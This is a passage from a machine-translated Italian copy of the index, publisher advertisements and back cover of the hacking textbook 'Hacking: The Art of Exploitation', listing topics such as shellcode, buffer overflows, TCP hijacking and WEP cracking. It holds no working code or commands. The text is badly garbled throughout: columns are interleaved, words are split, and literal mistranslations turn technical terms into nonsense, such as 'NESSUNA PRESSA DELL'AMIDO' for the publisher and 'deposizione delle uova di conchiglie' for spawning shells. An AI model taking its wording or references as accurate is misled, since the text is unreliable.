looping per le variabili locali, 130
per, 10-11 previsione dell'indirizzo, 147
mentre / fino alle 9-10 segmentazione, 69-81, 285
funzione lseek () , 95 segmenti, 60
LSFR (cifrario a flusso), 398 buffer overflow in, 150–167
in C, 75-77
M per le variabili, 119
violazione, 60
MAC (Media Access Control) programma memory_segments.c, 75-77
indirizzi, 218, 230 funzione memset () , 138
linguaggio macchina, 7 Microsoft, server web IIS, 117
strutture di controllo, 309 MIT model railroad club, 2
conversione dell'assieme in, 288 Attacchi MitM (man-in-the-middle),
visualizzazione per la funzione main () , 21 406–410
funzione main () , 19
Pacchetto mitm-ssh, 407, 454
argomento della riga di comando riduzione modulo, 12
accesso in, 58 moralità e conoscenza, 4
smontaggio di, 27 istruzioni mov , 25, 33, 285
visualizzazione del codice macchina per, 21 variazioni, 292
Funzione malloc () , 75, 76, 77, 79
controllo degli errori per, 80-81
N
pagina man
per arpspoof, 249 Parametro di formato % n , 48, 168–169, 173
per ASCII, 33–34 nasm assembler, 286, 288, 454
per daemon () , 321 Nathan, Jeff, 242, 454
per exec () , 388 programma NC, 279
per libnet, 248, 251 strumento ndisasm, 288
per write () , 283 numeri negativi, 42
attacchi man-in-the-middle (MitM), Nemesis, 242–248, 454
406–410

464 INDICE

Pagina 479

funzione nemesis_arp () ,
245 prese, 198–217
file nemesis-arp.c, 244–245 conversione di indirizzi, 203
file nemesis.h, 245–246 indirizzi, 200–202
file nemesis-proto_arp.c, 246–248 funzioni, 199-200
chiamate di funzioni annidate, 62 ordine dei byte di rete, 202–203
programma netcat, 279, 309, 316, 332 esempio di server, 203–207
file netdb.h, 210 server tinyweb, 213–217
file netinet / in.h, 201–202 client web, 207–213
programma netstat, 309 Dirottamento TCP / IP, 258-263
Netwide Assembler (NASM), 454 Dirottamento RST, 259-263
ordine di byte di rete, 202–203, 316 carattere di nuova riga, per la riga HTTP
livello di rete (OSI), 196, 197 risoluzione, 209
per browser web, 217, 220–221 Newsham, Tim, 436–437
sniffing di rete, 224–251, 393 comando nexti (istruzione successiva), 31
sniffing attivo, 239–251 NFS (setaccio del campo numerico), 404
strati di decodifica, 230-239 comando nm , 159, 184, 185
sniffer libpcap, 228-230 nmap (strumento di scansione delle porte), 264
sniffer raw socket, 226–227 No Electronic Theft Act, 118
networking, 195 stati quantistici non ortogonali, in
rilevamento del traffico anomalo, fotoni, 395
354–359 caratteri non stampabili, stampa, 133
Denial of Service, 251–258 NOP (nessuna operazione) slitta, 140, 145,
attacchi di amplificazione, 257 275, 317, 332, 390
inondazioni DoS distribuite, 258 nascondersi, 362–363
ping inondazioni, 257 tra il codice del caricatore e
ping di morte, 256 codice shell, 373
Inondazioni SYN, 252–256 non uguale a operatore ( ! = ), 14
lacrima, 256 non operatore ( ! ), 14
pirateria informatica, 272-280 programma notesearch.c, 93–96
analisi con GDB, 273-275 sfruttamento, 386–387
codice shell di collegamento alla porta, 278-280 vulnerabilità delle stringhe di formato,
sniffing di rete, 224–251 189–190
sniffing attivo, 239–251 vulnerabilità al buffer overflow,
strati di decodifica, 230-239 137–142
sniffer libpcap, 228-230 programma notetaker.c, 91–93, 150–155
sniffer raw socket, 226–227 programma per prendere appunti, 82
Strati OSI per browser web, funzione ntohl () , 203
217–224 funzione ntohs () , 203, 206
livello di collegamento dati, 218–219 byte nulli, 38–39, 290
livello di rete, 220–221 e exploit buffer, 335
strato di trasporto, 221–224 riempire il buffer degli exploit con, 275
Modello OSI, 196–198 rimozione, 290–295
scansione delle porte, 264–272 Puntatore NULL, 77
Scansioni FIN, X-mas e null, scansioni nulle, 264-265
264–265 setaccio del campo numerico (NFS), 404
scansione inattiva, 265-266 numeri, pseudo-casuali, 101-102
difesa proattiva, 267–272 valori numerici, 41–43
esche di spoofing, 265 Nyberg, Claes, 407, 454
scansione SYN stealth, 264

INDICE 465

Pagina 480

O pastiglie, 395
file di password, 153
Modalità di accesso O_APPEND, 84
matrice di probabilità delle password, 424–433
programma objdump , 21, 184, 185
Le password
Modalità di accesso O_CREAT, 84, 87
cracking, 418–433
errore off-by-one, 116–117
attacchi del dizionario, 419–422
pastiglie una tantum, 395
attacchi di forza bruta esaustivi,
password monouso, 258
422–423
algoritmo di hashing unidirezionale, per
tabella di ricerca hash, 423–424
crittografia delle parole, 153
lunghezza di, 422
file aperti, descrittore di file in
una tantum, 258
riferimento, 82
Variabile d'ambiente PATH, 172
funzione open () , 87, 336–337
contrabbando di carichi utili, 359-363
descrittore di file per, 82
pcalc (calcolatrice del programmatore),
flag utilizzati con, 84
42, 454
lunghezza della corda, 83
librerie pcap, 229
Kernel OpenBSD
funzione pcap_fatal () , 228
pacchetti IPv6 frammentati, 256
funzione pcap_lookupdev () , 228
stack non eseguibile, 376
funzione pcap_loop () , 235, 236
OpenSSH, 116–117
funzione pcap_next () , 235
pacchetto openssh, 414
funzione pcap_open_live () , 229, 261
ottimizzazione, 6
programma pcap_sniff.c, 228
o istruzione, 293
segno di percentuale ( % ), per il formato
Operatore OR, 14-15
parametro, 48
per i flag di accesso ai file, 84
Perl, 133
Modalità di accesso O_RDONLY, 84
autorizzazioni per i file, 87–88
Modalità di accesso O_RDWR, 84
funzione perror () , 83
Modello OSI, 196–198
fotoni, quanto non ortogonale
livelli per browser web, 217–224
afferma in, 395
livello di collegamento dati, 218–219
livello fisico (OSI), 196, 197
livello di rete, 220–221
per browser web, 218
strato di trasporto, 221–224
principio di casellario, 425
Modalità di accesso O_TRUNC, 84
ping inondazioni, 257
connessioni in uscita, firewall
ping di morte, 256
e 314
utilità ping, 221
programma overflow_example.c, 119
testo in chiaro, per la struttura del protocollo, 208
puntatori a funzioni traboccanti,
funzione play_the_game () , 156–157
156–167
PLT (tabella di collegamento delle procedure), 190
trabocca. Vedere buffer overflow
puntatore, alla struttura sockaddr , 201
Modalità di accesso O_WDONLY, 84
puntatore aritmetico, 52-53
proprietario, di file, 87
variabili puntatore
dereferenziazione, 53
P typecasting, 52
strumento per l'iniezione di pacchetti, 242–248 programma pointer.c, 44
programmi di acquisizione di pacchetti, 224 suggerimenti, 24–25, 43–47
pacchetti, 196, 198 funzione, 100–101
cattura, 225 agli struct, 98
strati di decodifica, 230-239 programma pointer_types.c, 52
ispezione, 359 programma pointer_types2.c, 53–54
limitazioni di dimensione, 221 programma pointer_types3.c, 55

466 INDICE

Pagina 481

programma pointer_types4.c, 56 cifrari del prodotto, 399


programma pointer_types5.c, 57 programmazione
ASCII polimorfico stampabile accesso all'heap, 70
shellcode, 366–376 come espressione artistica, 2
istruzioni pop , 287 nozioni di base, 6–7
e ASCII stampabile, 368 strutture di controllo, 8-11
scoppiettante, 70 if-then-else, 8-9
scansione delle porte, 264–272 while / until cicli, 9-10
Scansioni FIN, X-mas e null, variabili, 11-12
264–265 programmi, risultati da, 116
scansione inattiva, 265-266 modalità promiscua, 224
difesa proattiva, 267–272 catturando in, 229
esche di spoofing, 265 pseudo-codice, 7, 9
scansione SYN stealth, 264 Algo di generazione pseudo-casuale
strumento di scansione delle porte (nmap), 264 ritmo (PRGA), 435, 436
codice shell di collegamento alla porta, 278-280, numeri pseudocasuali, 101-102
303–314 chiave pubblica, 400
porte, privilegi di root per l'associazione, 216 schede perforate, 2
codice indipendente dalla posizione, 286 istruzioni push , 287, 298
Architettura del processore PowerPC, 20 e ASCII stampabile, 368
programma ppm_crack.c, 428–433 spingere, 70
programma ppm_gen.c, 426–428 Pitagorici, 3
livello di presentazione (OSI), 196
PRGA (Pseudo-Random Generation Q
Algoritmo), 435, 436
comando di stampa (GDB), 31 quadword, conversione
errore di stampa, 83 doubleword a, 302
shellcode ASCII stampabile, algoritmo di factoring quantistico,
polimorfico, 366-376 404–405
caratteri stampabili, programmare su distribuzione delle chiavi quantistiche, 395–396
calcolare, 369 algoritmo di ricerca quantistica, 399–400
printable_helper.c programma, 369–370 virgolette ( " ), per includere
printable.s file, 371–372 file, 91
Funzione printf () , 19-20, 35, 37, 47
stringhe di formato per, 48–51, 167 R
stampa di caratteri non stampabili, 133 RainbowCrack, 433
funzione print_ip () , 254 funzione rand () , 101
chiave privata, 400 programma rand_example.c, 101–102
privilegi, 273, 299 numeri casuali, 101–102
programma priv_shell.s, 301 randomizzazione, funzione execl () e,
probabilità, condizionale, 114 390, 391
risoluzione dei problemi spazio stack randomizzato, 379–391
con l'hacking, 1–2 sniffer raw socket, 226–227
hacking as, 5 programma raw_tcpsniff.c, 226–227
tabella di collegamento della procedura (PLT), 190 RC4 (cifrario a flusso), 398, 434,
prologo della procedura, 71 435–436
processo, sospensione della corrente, 158 funzione read () , descrittore di file per, 82
dirottamento di processi, 118 permesso di lettura, 87
processore, linguaggio assembly autorizzazione di sola lettura, per il testo
specificità per, 7 segmento, 69

INDICE 467

Pagina 482

Associazione dell'industria discografica di deposizione delle uova, 192


America (RIAA), 3 deposizione delle uova con processo figlio, 346
funzione recv () , 199, 206 utente, 88
funzione recv_line () , 209, 273, RSA Data Security, 394, 400, 404
335, 342 Dirottamento RST, 259-263
attacco di reindirizzamento, 240–241 programma rst_hijack.c, 260–263
registri, 23, 285, 292 modifica, 268
visualizzazione, 24 tempo di esecuzione dell'algoritmo semplice, 397
per processore x 86, 23
azzeramento, con polimorfismo S
codice shell, 366
numeri primi relativamente, 400 Parametro di formato % s , 48, 172
resto, dopo la divisione, 12 Verme Sadmind, 117
accesso remoto, alla shell di root, 317 valore del sale, 153–154
bersagli remoti, 321 per la crittografia della password, 419
Richiesta di commenti (RFC) Verme Sasser, 319
768, sull'intestazione UDP, 224 puntatore fotogramma salvato (SFP), 70,
791, su intestazioni IP, 220, 232 72–73, 130
793, sull'intestazione TCP, 222–223, Array S-box, 435
funzione scanf () , 50
233–234
istruzione ret , 132, 287 ambito delle variabili, 62-69
ret2libc, 376–377 programma scope.c, 62
indirizzo del mittente, 70 programma scope2.c, 63-64
trovare la posizione esatta, 139 programma scope3.c, 64-65
sovrascrittura, 135 script kiddies, 3
nello stack frame, 131 Secure Digital Music Initiative
comando di ritorno , 267 (SDMI), 3
Autorizzazione alla restituzione del materiale Secure Shell (SSH)
(RMA), 221 diverse impronte digitali dell'ospite,
restituisce il valore della funzione, dichiarando 410–413
funzione con tipo di dati di, protezioni contro l'identità
16-17 spoofing, 409–410
RFC. Vedere Richiesta di commenti Secure Sockets Layer (SSL), 393
(RFC) protezioni contro l'identità
RIAA (Recording Industry Associa- spoofing, 409–410
zione d'America), 3 sicurezza
Rieck, Konrad, 413, 454 cambiare le vulnerabilità, 388
RMA (Return Material computazionale, 396
Autorizzazione), 221 impatto degli errori, 118
Ronnick, Jose, 454 incondizionato, 394
radice numero seme, per sequenza casuale
privilegi, 153, 273 di numeri, 101
per associare la porta, 216 errore di segmentazione, 60, 61
shell da ripristinare, 301 punto e virgola ( ; ), per la fine dell'istruzione, 8
conchiglia funzione send () ,
199, 206
ottenendo, 188 funzione send_string () ,
209
overflow per aprire, 122 comando seq , 141
accesso remoto, 317 numeri di sequenza, per TCP, 222, 224
riutilizzo dei socket, 355–359 esempio di server, che mostra il pacchetto
dati, 204

468 INDICE
Pagina 483

livello di sessione (OSI), 196 Simple Mail Transfer Protocol


per browser web, 217 (SMTP), 222
set disassembly Intel command, 25 programma simplenote.c, 82-84
impostare l' autorizzazione per l'ID utente (setuid) , 89 file simple_server.c, 204–207
funzione seteuid () , 299 funzione sizeof () , 58
Chiamata di sistema setresuid () , 300–301 dimensione della macro () (C), 42
funzione setsockopt () , 205 Sklyarov, Dmitry, 3-4
SFP (puntatore fotogramma salvato), 70 SMTP (Simple Mail Transfer
Shannon, Claude, 394 Protocollo), 222
comando di shell, eseguendo come attacchi dei puffi, 257
funzione, 134 sniffare i pacchetti
shellcode, 137, 281 attivo, 239–251
argomento come opzione di posizionamento, 365 in modalità promiscua, 225
linguaggio assembly per, 282–286 struttura sockaddr , 200–202, 305, 306
connect-back, 314–318 il puntatore a, 201
creazione, 286–295 sockaddr_in struttura, 348
vai a, 386 funzione socket () , 199, 200, 205, 314
funzione memcpy () da copiare, 139 chiamata di sistema socketcall () (Linux), 304
posizione di memoria per, 142 file socket_reuse_restore.s, 357
sovrascrittura della sezione .dtors con prese, 198–217, 307
indirizzo di iniettato, 190 conversione di indirizzi, 203
immissione nell'ambiente indirizzi, 200–202
variabile, 188 descrittore di file per accettato
ASCII polimorfico stampabile, collegamento, 206
366–376 funzioni, 199-200
port-binding, 278–280, 303–314 riutilizzo, 355–359
prova di funzionamento, 336 esempio di server, 203–207
riduzione delle dimensioni, 298 server tinyweb, 213–217
ripristino del demone tinyweb client web, 207–213
esecuzione, 345 pirateria informatica, 118
deposizione delle uova di conchiglie, 295-303 Solar Designer, 422, 454
e server web, 332 Song, Dug, 226, 249, 454
registri di azzeramento, 294 indirizzo sorgente, manipolazione, 239
programma shellcode.s, 302-303 Registro dell'indice delle fonti (ESI), 24
Shor, Peter, 404–405 Processore Sparc, 20
parola chiave breve , 42 spoofing, 239-240
scritture brevi, per stringa di formato indirizzo IP registrato, 348–352
exploit, 182–183 contenuto del pacchetto, 263
espressioni stenografiche, per arit- funzione sprintf () , 262
operatori metici, 13-14 funzione srand () , 101
programma shroud.c, 268-272 SSH. Vedi Secure Shell (SSH)
funzione sigint_handler () , 323 SSL (Secure Sockets Layer), 393
Segnale SIGKILL , 324 protezioni contro l'identità
funzione signal () , 322 spoofing, 409–410
signal_example.c programma, 322–323 pila, 40, 70, 128
funzione signal_handler () , 323 argomenti per chiamare la funzione, 339
segnali, per la comunicazione interprocesso istruzioni di montaggio utilizzando,
zione in Unix, 322–324 287–289
valori numerici con segno, 41

INDICE 469

Pagina 484

pila, ha continuato funzione strncasecmp () ,


213
telaio, 70, 74, 128 funzione strstr () ,
216
visualizzazione delle variabili locali in, 66 strutture, 96-100
istruzioni per impostare e accesso agli elementi, 98
rimuovere le strutture, 341 comando su , 88
crescita di, 75 istruzioni secondarie , 293, 294
memoria in, 77 operazione secondaria , 25
non eseguibile, 376–379 comando sudo , 88, 90
spazio randomizzato, 379–391 sovrapposizione, 399-400
ruolo con stringhe di formato, 169 processo sospeso, ritorno a, 158
segmento, 70 ambiente di rete commutato,
variabili pacchetti in, 239
dichiarando, 76 crittografia simmetrica, 398–400
e l'affidabilità dello shellcode, 356 Flag di SYN, 223
Registro Stack Pointer (ESP), 24, 33, Inondazioni SYN, 252–256
70, 73 prevenzione, 255
shellcode e, 367 Scansione SYN
programma stack_example.c, 71–75 prevenire la fuga di informazioni
Stallman, Richard, 3 con, 268
errore standard, 307 furtività, 264
input standard, 307, 358 syncookies, 255
ingresso / uscita standard (I / O) file synflood.c, 252–254
biblioteca, 19 sys / stat.h file, 84
output standard, 307 flag di bit definiti in, 87
memoria di funzione statica, puntatore a stringa chiamate di sistema, pagine di manuale per, 283
riferendosi, 228 daemon di sistema, 321–328
parola chiave statica , 75 funzione system () , 148–149
variabili statiche, 66-69 ritornando in, 377-379
indirizzi di memoria, 69
segmento di memoria per, 69 T
programma static.c, 67
programma static2.c, 68 TCP. Vedere Controllo della trasmissione
flag di stato, operazione cmp da impostare, 311 Protocollo (TCP)
tcpdump , 224, 226
argomento stderr , 79
BPF per, 259
file di intestazione stdio , 19
furtività, da parte di hacker, 320 codice sorgente per, 230
scansione SYN stealth, 264 struttura tcphdr (Linux), 234
TCP / IP, 197
comando
spazio stepi (GDB), 384
di archiviazione, vs computazionale connessione, telnet a
potenza, 424 server web, 208
programma strace, 336–338, 352–353 dirottamento, 258-263
funzione strcat () , 121
stack, SYN flood tenta di esaurire
funzione strcpy () , 39–41, 365
afferma, 252
funzione tcp_v4_send_reset () , 267
cifrari a flusso, 398
prese stream, 198, 222 lacrima, 256
string.h, 39 telnet, 207, 222
archi, 38-41 per aprire la connessione TCP / IP a
concatenazione in Perl, 134 server web, 208
codifica, 359–362 variabile temporanea, da stampa
funzione strlen () , 83, 121, 209
comando, 31

470 INDICE

Pagina 485

segmento di testo, di memoria, 69 programma uid_demo.c, 90


quindi parola chiave, 8–9 comando ulimit , 289
campo th_flags , della struttura tcphdr , 234 comando uname , 134
funzione time () , 97 operatore unario
time_example.c programma, 97 indirizzo dell'operatore, 45
programma time_example2.c, 98–99 Operatore di dereferenziazione, 47, 50
variabile time_ptr , 97 salti incondizionati, in montaggio
attacco di compromesso tempo / spazio, 424 lingua, 36
funzione timestamp () , 352 sicurezza incondizionata, 394
programma tiny_shell.s, 298-299 trasmissione di dati non crittografata, 226
programma tinyweb.c Set di caratteri Unicode, 117
conversione in demone di sistema, 321 Sistemi Unix
come daemon, 324–328 pagine di manuale, 283
sfruttare per, 275 segnali per interprocesso
vulnerabilità in, 273 comunicazione, 322–324
programma tinywebd.c, 325–328, 355 tempo, 97
strumento di exploit, 329–333 parola chiave non firmata , 42
file di registro, 334 valori numerici senza segno, 41
programma tinyweb_exploit.c, 275 intero per l'indirizzo del puntatore, 57
programma tinyweb_exploit2.c, 278 rete non commutata, 224
tm time struct, 97 fino al ciclo, 10
traduttore, per linguaggio macchina, 7 file update_info.c, 363–364
Protocollo di controllo della trasmissione funzione di utilizzo () ,
82
(TCP), 198, 222 User Datagram Protocol (UDP),
connessione per accesso remoto alla shell, 198–199, 222, 224
308–309 pacchetti eco, attacchi di amplificazione
bandiere, 222 con, 257
collegamento di apertura, 314 ID utente, 88–96
intestazione del pacchetto, 233-234 visualizzazione di note scritte da, 93
annusando, con prese grezze, 226 impostazione effettiva, 299
struttura, 231 utenti, autorizzazioni file per, 87
livello di trasporto (OSI), 196, 197 input fornito dall'utente, controllo della lunghezza o
per browser web, 217, 221–224 restrizione su, 120
Triple-DES, 399 /usr/include/asm-i386/unistd.h file,
complemento a due, 42, 49 284–285
per rimuovere byte nulli, 291 /usr/include/asm/socket.h file, 205
typecasting, 51-58 /usr/include/bits/socket.h file,
dal puntatore alla struttura tm all'intero 200, 201
puntatore, 98 /usr/include/if_ether.h file, 230
programma typecasting.c, 51 /usr/include/linux/if_ethernet.h
typedef , 245 file, 230
puntatori senza tipo, 56 /usr/include/netinet/ip.h file,
tipi. Vedi tipi di dati 230, 231–232
/usr/include/netinet/tcp.h file, 230,
U 233–234
File /usr/include/stdio.h, 19
UDP (User Datagram Protocol), /usr/include/sys/sockets.h file, 199
198–199, 222, 224 /usr/include/time.h file, 97
pacchetti eco, attacchi di amplificazione /usr/include/unistd.h file, 284
con, 257 / usr / src / mitm-ssh, 407

INDICE 471

Pagina 486

V dove comando, 61
while / until cicli, 9-10
valori
Wired Equivalent Privacy (WEP), 433,
assegnazione a variabile, 12
434–435
restituito dalla funzione, 16
attacchi, 436–449
variabili, 11-12
crittografia wireless 802.11b, 433–436
operatori aritmetici per, 12-14
parola, 28-29
Compilatore C e tipo di dati, 58
vermi, 119
operatori di confronto per, 14-15
Wozniak, Steve, 3
ambito, 62–69
Protocollo wireless WPA, 448
strutture, 96-100
funzione write () ,
83
temporaneo, dalla stampa
descrittore di file per, 82
comando, 31
pagina di manuale per, 283
typecasting, 51-58
puntatore per, 92
parola chiave void , 56
permesso di scrittura, 87
per dichiarare la funzione, 17
per segmento di testo, 69
void pointer (C), 56, 57
programma vuln.c, 377
vulnerabilità X
stringhe di formato, 170–171 Parametro di formato % x , 171, 173
nel software, 451–452 opzione larghezza di campo, 179
basato su stack, 122–133
nel programma tinyweb.c, 273 comando x /x3xw
processore 86,, 20,
61 23–25
VML zero-day, 119 istruzioni di montaggio per, 285
Istruzione xchg (scambio), 312
W Scansioni di Natale, 264-265
xor istruzioni, 293, 294
avvisi, sul tipo di dati del puntatore, 54
xtool_tinywebd_reuse.sh script, 358
browser web, livelli OSI per, 217–224
script xtool_tinywebd.sh, 333
client web, 207–213
script xtool_tinywebd_silent.sh,
richieste web, elaborazione dopo
353–354
intrusione, 336
xtool_tinywebd_spoof.sh script,
server web
349–350
telnet per TCP / IP
xtool_tinywebd_stealth.sh script, 335
collegamento a, 208
server tinyweb, 213–217
file webserver_id.c, 212–213 Z
WEP (Wired Equivalent Privacy), 433, registri di azzeramento, 294
434–435 Registro EAX (accumulatore), 368
attacchi, 436–449 con codice shell polimorfico, 366

472 INDICE

Pagina 488
487

Altri libri senza sciocchezze da NESSUNA PRESSA DELL'AMIDO

SILENZIO SUL FILO


Una guida sul campo alla ricognizione passiva e agli attacchi indiretti
di MICHAL ZALEWSKI
Silence on the Wire: una guida sul campo alla ricognizione passiva e agli attacchi indiretti
spiega come funzionano i computer e le reti, come vengono elaborate le informazioni
e consegnato, e quali minacce alla sicurezza si nascondono nell'ombra. No monotono
white paper tecnico o manuale di istruzioni per proteggere la propria rete, questo
è una narrazione affascinante che esplora una varietà di elementi unici, non comuni,
e spesso sfide di sicurezza piuttosto eleganti che sfidano la classificazione e
evita il modello tradizionale di attaccante-vittima.
APRILE 2005, 312 PP ., $ 39,95
ISBN 978-1-59327-046-9

VISUALIZZAZIONE DEI DATI DI SICUREZZA


Tecniche grafiche per l'analisi di rete
di GREG CONTI
Security Data Visualization è un'introduzione ben studiata e riccamente illustrata
zione al campo della visualizzazione delle informazioni, una branca dell'informatica
interessato alla modellazione di dati complessi utilizzando immagini interattive. Greg Conti,
creatore dello strumento di visualizzazione della rete e della sicurezza RUMINT, ti mostra
come rappresentare graficamente e visualizzare i dati di rete utilizzando una varietà di strumenti in modo che tu possa
comprendere a colpo d'occhio set di dati complessi. E una volta che hai visto cos'è una rete
sembra che l'attacco, avrai una migliore comprensione del suo comportamento di basso livello—
come il modo in cui vengono sfruttate le vulnerabilità e come si propagano worm e virus.
SETTEMBRE 2007, 272 PP ., 4 COLORI , $ 49,95
ISBN 978-1-59327-143-5

FIREWALL DI LINUX
Rilevamento e risposta agli attacchi con iptables, psad e fwsnort
di MICHAEL RASH
Linux Firewalls discute i dettagli tecnici del firewall iptables e del
Netfilter framework che sono incorporati nel kernel Linux e spiega come
forniscono un potente filtro, NAT (Network Address Translation), monitoraggio dello stato
e capacità di ispezione a livello di applicazione che rivaleggiano con molte commerciali
utensili. Imparerai come distribuire iptables come IDS con psad e fwsnort
e come creare un forte livello di autenticazione passivo attorno a iptables con
fwknop. Esempi concreti illustrano concetti come l'analisi del registro del firewall
e politiche, autenticazione e autorizzazione di rete passiva, exploit
tracce di pacchetti, emulazione di regole di Snort e altro ancora.
OTTOBRE 2007, 336 PP ., $ 49,95
ISBN 978-1-59327-141-1

Pagina 489

L'ARTE DEL LINGUAGGIO DELL'ASSEMBLEA


di RANDALL HYDE
The Art of Assembly Language presenta un linguaggio assembly di alto livello
punto di vista del programmatore, in modo da poter iniziare a scrivere programmi significativi
entro pochi giorni. L'High Level Assembler (HLA) che accompagna il libro
è il primo assemblatore che ti permette di scrivere un linguaggio assembly portabile
programmi che vengono eseguiti sotto Linux o Windows con nient'altro che
una ricompilazione. Il CD-ROM include l'HLA e la libreria standard HLA,
tutto il codice sorgente del libro e oltre 50.000 righe di campione aggiuntivo
codice, tutto ben documentato e testato. Il codice viene compilato e viene eseguito così com'è
sotto Windows e Linux.
SETTEMBRE 2003, 928 PP . W / CD , $ 59.95
ISBN 978-1-886411-97-5

LA GUIDA TCP / IP
Un riferimento completo e illustrato ai protocolli Internet
da Charles M . KOZIEROK
La Guida TCP / IP è un riferimento enciclopedico completamente aggiornato su
la suite di protocolli TCP / IP che piacerà ai nuovi arrivati ​e ai più esperti
professionale allo stesso modo. L'autore Charles Kozierok descrive in dettaglio i protocolli di base che
fanno funzionare le internetworks TCP / IP e il più importante TCP / IP classico
applicazioni, integrando la copertura IPv6 dappertutto. Oltre 350 illustrazioni
e centinaia di tabelle aiutano a spiegare i punti più fini di questo argomento complesso.
Lo stile di scrittura personale e intuitivo del libro consente ai lettori di tutti i livelli
comprendere le dozzine di protocolli e tecnologie che eseguono Internet,
con copertura completa di PPP, ARP, IP, IPv6, IP NAT, IPSec, Mobile IP, ICMP,
RIP, BGP, TCP, UDP, DNS, DHCP, SNMP, FTP, SMTP, NNTP, HTTP,
Telnet e molto altro ancora.
OTTOBRE 2005, 1616 PP . copertina rigida , $ 89,95
ISBN 978-1-59327-047-6

TELEFONO : EMAIL :

800.420.7240 OR SALDI @ NOSTARCH . COM


415.863.9900
DA LUNEDI 'A VENERDI' , WEB :
9 A . M . AL 5 P. M .( PST ) WWW . NOSTARCH . COM

FAX : MAIL :
415.863.9950 NESSUNA PRESSA DELL'AMIDO
24 ORE AL GIORNO , 555 DE HARO ST , SUITE 250
7 GIORNI A SETTIMANA SAN FRANCISCO , CA 94107
Stati Uniti d'America

Pagina 490

AGGIORNAMENTI

Visita http://www.nostarch.com/hacking2.htm per aggiornamenti, errata corrige e altro


informazione.

CIRCA IL CD

Il LiveCD avviabile fornisce un ambiente di hacking basato su Linux che è


preconfigurato per la programmazione, il debug, la manipolazione del traffico di rete e
crittografia cracking. Contiene tutto il codice sorgente e le applicazioni utilizzate in
il libro. L'hacking riguarda la scoperta e l'innovazione, e con questo LiveCD tu
può immediatamente seguire gli esempi del libro ed esplorare da solo.
Il LiveCD può essere utilizzato nella maggior parte dei personal computer senza
l'installazione di un nuovo sistema operativo o la modifica della configurazione corrente del computer.
I requisiti di sistema sono un PC x 86 con almeno 64 MB di memoria di sistema
e un BIOS configurato per l'avvio da un CD-ROM.

6
24 = ------
3
1- -
4
Pagina 492
491

Best seller internazionale!


CD INS

H
LE TECNICHE FONDAMENTALI DELL'HACKING SERIO 2ND E

L'hacking è l'arte della risoluzione creativa dei problemi, j Supera in astuzia le misure di sicurezza comuni

ACKIN
se questo significa trovare un non convenzionale stack eseguibili e sistemi di rilevamento delle intrusioni
soluzione a un problema difficile o sfruttando buchi in
j Ottenere l'accesso a un server remoto utilizzando il collegamento alla porta
programmazione sciatta. Molte persone chiamano se stesse
o connettersi allo shellcode e modificare il log di un server
hacker, ma pochi hanno le solide basi tecniche
comportamento di ging per nascondere la tua presenza
zione necessaria per spingere davvero la busta.
j Reindirizza il traffico di rete, nasconde le porte aperte e
Piuttosto che mostrare semplicemente come gestire l'esistenza
dirottare le connessioni TCP
exploits, l'autore Jon Erickson spiega quanto sia arcano
le tecniche di hacking funzionano davvero . Per condividere l'arte j Rompere il traffico wireless crittografato utilizzando l'FMS
e la scienza dell'hacking in un modo accessibile

HACKIN
attaccare e accelerare gli attacchi di forza bruta usando un

G
a tutti, Hacking: The Art of Exploitation, 2 ° matrice di probabilità della password
L'edizione introduce i fondamenti del programma C-
Gli hacker spingono sempre oltre i confini, investono
dal punto di vista di un hacker.
tigare l'ignoto e far evolvere la loro arte. Anche
Il LiveCD incluso fornisce un Linux completo se non sai già come programmare, Hacking:
ambiente di programmazione e debug: tutto The Art of Exploitation, 2nd Edition ti darà un
senza modificare il sistema operativo corrente. quadro completo della programmazione, architettura macchina T
Usalo per seguire gli esempi del libro come tecture, comunicazioni di rete ed esistenti H
colmi le lacune nelle tue conoscenze ed esplori gli hack tecniche di hacking. Combina questa conoscenza con E
tecniche da solo. Mettiti le mani sporche l'ambiente Linux incluso e tutto ciò di cui hai bisogno è
UN
codice di debug, buffer in eccesso, dirottamento la tua creatività.
R
comunicazioni di rete, bypassando le protezioni,
sfruttando le debolezze crittografiche e forse
Circa l'autore T
persino inventando nuovi exploit. Questo libro insegnerà
Jon Erickson ha un'istruzione formale in informatica
O
tu come:
scienza e ha hackerato e programmato F
j Programmare i computer utilizzando C, linguaggio assembly, da quando aveva cinque anni. Parla al com E
e script di shell conferenze sulla sicurezza dei computer e sicurezza dei treni X
squadre in tutto il mondo. Attualmente lavora come P
j Memoria di sistema danneggiata per eseguire codice arbitrario
ricercatore di vulnerabilità e specialista in sicurezza in LO
utilizzando buffer overflow e stringhe di formato
California settentrionale.
j Ispezionare i registri del processore e la memoria di sistema
ITA
con un debugger per ottenere una reale comprensione di
che cosa sta succedendo T
IO
N
livecd fornisce un ambiente linux completo di programmazione e debug

ERICKS
IL MIGLIORE IN GEEK ENTERTAINMENT ™ $ 49,95 ($ 54,95 CDn)
www.nostarch.com riporre in: SICUREZZA DEL COMPUTER / SICUREZZA DEL LAVORO

"I LAY FLAT."

Questo libro utilizza RepKover, una rilegatura durevole che non si chiude.

Stampato su carta riciclata

Potrebbero piacerti anche